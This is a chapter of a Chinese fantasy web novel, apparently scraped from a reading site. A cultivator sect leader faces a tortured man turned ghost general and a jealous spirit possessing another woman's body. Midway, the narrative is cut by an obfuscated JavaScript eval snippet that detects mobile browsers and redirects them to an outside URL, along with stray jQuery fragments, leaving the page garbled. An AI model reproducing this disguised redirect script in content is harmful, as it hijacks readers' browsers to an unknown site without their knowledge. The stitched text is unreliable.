26.夜行七

作品:《不是宿敌吗,我死了你疯什么

    古潮音微微苦笑:“只因我也是瓮中之鳖,身不由己罢了。”


    “我在丰都城里搞了这么大动静,怎能不过他的眼,你既然来找我,不是早料到后果了吗?”


    祭灵澈:“不过,我还以为你会为朋友两肋插刀呢,看来还是我高估你了。”


    古潮音含笑道:“少挖苦我,你心里跟明镜似的,恩怨是你自己的恩怨,因果亦是你自己的因果,谁也插不了手——”


    只见浓重的鬼气贯彻全楼,楼下那些赌客忽然惊叫一团,这些人既然能进入丰都城来作赌,自然修为不低,只听刷拉拉地兵器出鞘之声,还没等出手,便很快地偃旗息鼓,一个个重伤般不断哀嚎,随后气息随着哀嚎声逐渐隐去,人也不知死活。


    只听阵阵鬼喘渐渐逼近,似乎正沿着楼梯层层逼近!


    这鬼喘声与此前遭遇的那帮鬼众不同,不仅神志清明,甚至训练有素一般,来得极快,端地让人汗毛倒竖。


    古潮音不多言语,从手指上褪下一个漆黑冰凉的指环,一弹指,直弹到祭灵澈怀里,竖起手指贴在嘴唇上:“嘘……”


    他隔空在祭灵澈识海里道:“送你了,以后可别翻旧账讲究我不仗义了。”


    祭灵澈将那戒指握于掌心,冰凉的质感出奇的诡异,无论怎么都捂不热。


    她一惊,忽然感到心脏狂跳,一种强烈的不安感油然而生,这东西是……


    她张开手心,只见那指环泛着冷光,形状怪异,她几分难以置信地看向古潮音。


    古潮音却没什么表情,似乎送出去的只是什么寻常物什一般——


    他只是轻笑一声,语调轻松:“门主大人,好运。”


    祭灵澈盯着古潮音,嘴角泛起笑意,紧紧地攥住那指环,待手再张开时,那指环却已消失不见。


    就在这时,阴气扑面而来,只见门外鬼影幢幢,却没有一只鬼敢扑进来,只安静地围在包厢外,似正听号施令般,忽然帘子被挑开,一首领模样的男鬼大步走了进来。


    祭灵澈没动,依旧懒懒靠在软榻上,转头看向门口,不由得眯起眼睛。


    哦豁,熟人。


    那男鬼对她抱拳微笑道:“小仙家,别来无恙。”


    祭灵澈紧紧地盯着他,良久冷笑:“陈燃。”


    只见而今的陈燃,已经活脱一副厉鬼模样。


    满脸遍布青黑色的纹路,丑陋的印记凸起,蜿蜿蜒蜒,顺着脖子直钻到领口里,几乎让人分辨不出原本的相貌,口中也冒出尖利的獠牙,手已经完全变做一双利爪,黑色的尖利指甲从皮肉里窜出,似乎轻轻一挥就能割掉人头。


    祭灵澈略微抬起眉毛:“亏得我还以为你遭了毒手,竟为你哀婉,没成想你如今对自己这副模样倒是十二分的满意。”


    陈燃语调很是恭谦:“我后来才知,城主大人为了栽培我的苦心——”


    祭灵澈像是听了什么极荒诞的事,嗤笑一声:“奇了,你竟然感念一个杀你辱你,并当你面虐杀你妻儿和老母的人,并且把这一切,称作是他对你的‘栽培’?!”


    陈燃还没来得及说什么,古潮音插嘴道:“难怪难怪,原来是‘熬鬼将’啊,现下能让城主熬的人可不多,怪不得你竟感恩戴德啊。”


    祭灵澈目光扫向古潮音,做出几分诧异神色,明知故问:“熬鬼将?这我可得请教一下古老板了,在下此前只听过熬鹰,难不成,这鬼也能像鹰那样熬?!”


    只听古潮音与她唱双簧:“仙家有所不知,咱们鬼主大人麾下的鬼将皆是一等一的厉鬼,而这等鬼将,杀死金丹大圆满的修士都不在话下呢,简直是比最有天资的修士还难得!”


    “寻常死去的人,没甚怨念,不过是化作白衣鬼罢了,这种鬼没有意识,脆弱飘渺——你说说,这样的鬼能堪大用吗?”


    祭灵澈点头道:“这么说来,越是死状惨烈,这死后怨气便越深重,咱们避之不及的猛鬼,反而是鬼修们求之不得的了?”


    古潮音道:“不错,可这天下哪里有那么多的厉鬼的呢?何况,能作为鬼主大人的鬼将,要求更是严苛,简直是百万中无一。”


    祭灵澈:“那鬼修的得力干将岂不是不够用了吗?”


    古潮音:“所以啊,咱们鬼主大人会特意物色那些心气极重的凡人,先假以颜色,与以好处,让他们对自己鞍前马后推心置腹,再挑得某个风和日丽的夜晚,将他千刀万剐——”


    祭灵澈:“这人死后便能变成符合标准的鬼将了?”


    古潮音一笑:“光虐杀他可是远远不够,往往自身的怨念来的快去得也快,若想有源源不竭的怨念来驱使,必要对症下药,摧毁他对在意的东西,让他所有的希望都彻底湮灭,比如让他亲眼看着妻子儿女、双亲挚爱惨死于面前,让他目眦欲裂,肝肠寸断而死。”


    “只有这样,怨怼仇恨狂涌不息,才会化作磅薄鬼气森然而出啊……”


    古潮音接着说道:“这一整套下来,可真是费了好大的力气。”


    “何况,毕竟是隔着血海深仇,大部分被虐杀的新鬼怎么会向仇人俯首称臣呢?故而转头弑主更是常有的事,这种人便是过于烈性,此前所有的栽培俱是白费,只能彻底杀了他。”


    “而经过层层筛选,怨气喷涌而又甘愿为他所用的便是百万里挑一,所以,你说说,这么一套复杂的流程,是不是堪比熬鹰呢?”


    古潮音极擅口舌,声音清润,语速却极快又让人听了个真真切切,陈燃本想打断他,却是硬生生地没说上话!


    祭灵澈笑道:“古老板所言极是,仙缘浅薄的人,连引气入体都做不到,却摇身一变,只需死上一死,直成了什么鬼皇帝的左膀右臂,这怎么不算是一步登天呢?什么亲人血脉,礼义廉耻,在权势面前又算得了什么?深仇大恨,怕是二钱一斤的贱卖了吧?”


    陈燃怎能不知这二人对自己的讽刺调侃,心头杀意暴起,想着自从当了鬼虽然杀了几个修士练手,但还没机会真正试过这力量——


    他眯起眼睛看向祭灵澈,不行,这个人是鬼主点名要的,他岂能僭越?随即便把目光落在了一身懒意的古潮音身上。


    古潮音似乎猜到他的心思,忽的转头看他,一双含笑的眼睛正与他相对!


    他那双眼睛里似涵着一汪清水,本是多情温润,可陈燃却忽然脊背发凉,一种恐惧从心底直升起来,只见古楼主的左眼忽然闪过一道红光。


    他好像忽然被蛊惑住心神一般,一阵阵巨大的噪音在他识海里盘旋,几乎震得他七窍流血,那声音不断地、反反复复、翻来覆去地重复:


    “去死吧,为了向上爬给杀你全家的人俯首做狗,却还沾沾自喜,真是连鬼都不配做,去死吧,你连魂魄都不配有了……”


    忽然,祭灵澈出声唤住他:“陈燃,你的爪子露出来了。”


    陈燃大梦初醒一般,从梦魇中骤然抽身,只觉浑身脱力,脚下虚浮,险些站立不住,映入他眼中的却是一双漆黑的利爪!


    他自己的鬼爪正戳在脖子上,若是再晚脱身一时片刻,他自己就得把自己给掐个魂飞魄散。


    却见古潮音有些倦意,手轻轻托住额头,有意无意地按住刚才红光闪过的左眼。


    陈燃敏锐地察觉到他的异样,他知道祭灵澈忽然唤他必不可能是为了救他,那就只可能是这个术法消耗太大,古潮音先撑不住了。


    陈燃冷笑一声:“古老板用这蛊惑之术,反噬可是不轻啊——”


    古潮音只是冷哼一声,并不应答,陈燃幽幽地说道:“您这双眼睛我很喜欢,有朝一日我必定来取。”


    祭灵澈挑眉道:“喂喂喂,别打肿脸充胖子,行吗?”


    “才刚摸到点术法门路,就狂得没边,觉得自己天上地下,无可匹敌了?”


    陈燃似乎神色愈发冰冷,但最终只是冷笑,声音变得沙哑嘶厉:“仙家有这口舌,还是省省,留于应付我们主人罢!”


    他脸色愈发深沉,做了个“请”的手势,语意不乏威胁:“仙家是自己走,还是在下来‘请’你呢?”


    祭灵澈饶有兴致地看着他:“颜尽尘既想见我,怎地自己不来,反倒叫你来,难不成——”


    她嘴角挂起冷笑:“那贱人现在残废了,挪不了窝,所以才让你代劳?”


    祭灵澈一语中的。


    颜尽尘当年被她重伤,而今虽然捡回条命来,也不过是苟延残喘,至少肉身已经是个废人,要不然依着他的性格,不会在这丰都城里一躲就是数十年。


    更不会派人来抓她祭灵澈,他但凡肉身还能挪动,必定迫不及待,亲自前来瞻仰故人。


    她这一语亦是直戳中陈燃心窝。


    陈燃化为厉鬼本来便是杀孽极重,几乎是一点就炸,此前能忍那么久,已经实属不易。


    祭灵澈言语几次挑拨,他此前憋着的怒火终于爆发,只见他那黑色利爪暴增几寸,诡异青黑色印记迅速布满全身,一双眼睛一翻,瞬间一片浑浊,脖子一动咔擦咔擦地响——


    祭灵澈一笑,叹道:“说他几句你就发疯,这么护主啊……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273145|165018||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈燃动作快如闪电,祭灵澈话音未落,一双鬼爪已向着她的心脏抓去!


    古潮音刚想去拦却为时已晚,脱口而出:“小心!”


    祭灵澈一动没动,却见那双利爪正悬在离自己心脏一寸的地方,生生止住,他那张鬼脸近在咫尺,大嘴张开正发出嘶吼,涎液顺着牙尖淌下来——


    只听“铮”一声,陈燃那鬼爪被什么东西正击中,随即那东西便爆开来!


    化作丝丝缕缕,蛛丝一般,沿着他的手臂向上蔓延,最后竟把他全身缚了个结结实实!


    陈燃喉咙里发出低沉压抑的嘶吼,几挣不开,却越缚越紧,最终被紧紧包住,就像是个蚕茧一般。


    只听他在茧中不断地哀嚎,痛苦不堪,他只感觉什么东西在他身体里不断膨胀,几乎马上就要将他的鬼魂彻底炸个粉碎——


    此前他调动怨气化为杀招,无穷怒气杀意正要喷薄而出时,却被这蚕茧一样的东西给缚住,无处宣泄,竟全都反噬回去,怨气失控在他体内不断游走,撑得他几乎要爆体而亡!


    这等招式不仅十分阴险,而且深知厉鬼的命门,几乎是一击毙命。


    陈燃满地乱滚不住地嚎叫,嘴里开始不干不净地骂起来——


    祭灵澈无奈地举起双手:“你骂我做甚,我什么都没干啊?”


    出奇的是,候在门外的鬼众听到他们的头领在屋内哀嚎,却并不进来。


    可见又来了个地位更高的人物,鬼众们不敢妄动。


    忽听一声冷笑,却见门帘后敛袖站着一人,只能窥见那人雪白的衣裳,似乎不染纤尘,竟与这丰城的一切都格格不入一般。


    那人声线本是极清冷的,可一开口,声调弯弯绕绕,硬生生带出些令人牙酸的刻意娇媚来,更是有几分难以遮掩的狠毒参杂其中:“师姐,好久不见啊。”


    一听到这语调,祭灵澈只感到一阵恶寒。


    她用手轻托着额头:“首先,我不是你师姐,你张口一句,不觉得有点冒昧?”


    “还有,你打陈燃做甚,想抢功吗?不都是在给颜尽尘当狗,怎的还窝里斗上了。”


    只见门帘一动,走进来一个“女子”来,一打眼又是一个熟人。


    此前在陈府便见过,这句身体正是那陈府的表小姐,可谁都瞧得出来,此时占着这身体的,却是与那小厮调笑的女鬼!


    那表小姐脊梁本是笔直,但此时占着她身体的女鬼却步步生莲,摇曳得风情无限,看向祭灵澈的眼睛里含着笑意,却淬着无尽的恨意。


    她幽幽说道,语意不乏挑衅:“我打我表哥,轮得着你管?”


    祭灵澈奇道:“可真是不要脸到极致了。”


    “占着人家表妹的身体,鸠占鹊巢还这么理直气壮。”


    阿汜一步步逼近她,像是一只沾满毒的白色蛾子,面上森然笑容不改,神色露出一点癫狂来,目光紧紧地盯着祭灵澈,似乎怕她跑掉一般。


    祭灵澈正坐着没动,阿汜直走到她身前。


    祭灵澈仰头看她。


    阿汜亦是低头打量她,随后慢慢俯下身来,直视她的眼睛,二人近得呼吸相闻,她良久一笑。


    “祭观澜,你究竟在高傲些什么呢?”


    祭灵澈:“都敢连名带姓的称呼本座了,果真长本事。”


    阿汜伸手轻轻地抚上她的脸:“你说我鸠占鹊巢,难不成,这身体是你自己的?”


    “——您总是这样,瞧不上别人,可你怎么不低头看看你自己有多烂呢。”


    祭灵澈一笑:“我缺德,但不下流。”


    “而颜尽尘和你,那可真是货真价实的恶心。”


    阿汜抚摸她的动作温柔眷恋,就好像是许久未见的情人一般,在她耳边轻声道:“是吗?门主大人,即将死在你最恶心的婢女手里,有什么感想吗?”


    祭灵澈没什么感想:“你真是疯了,怎么就不撒泡尿照照,就算要杀我,也轮不着你好吧?”


    阿汜伸手轻轻掐住她的脖子:“鬼主大人顾念同门情谊,怕是会下不去手杀你,那便由我代劳吧,也省的他烦恼。”


    祭灵澈眯起眼睛,怪不得这家伙忽然冒出来,还打伤了陈燃,原来是打得这个主意。


    背着颜尽尘,提前跑来杀她。


    不仅是怕颜尽尘放过她。


    阿汜更怕的是,颜尽尘被她给杀了。


    所以,阿汜冒着彻底魂飞魄散的风险,也绝对不会让祭灵澈活着到颜尽尘面前。


    阿汜握在她脖子上的手骤然收紧!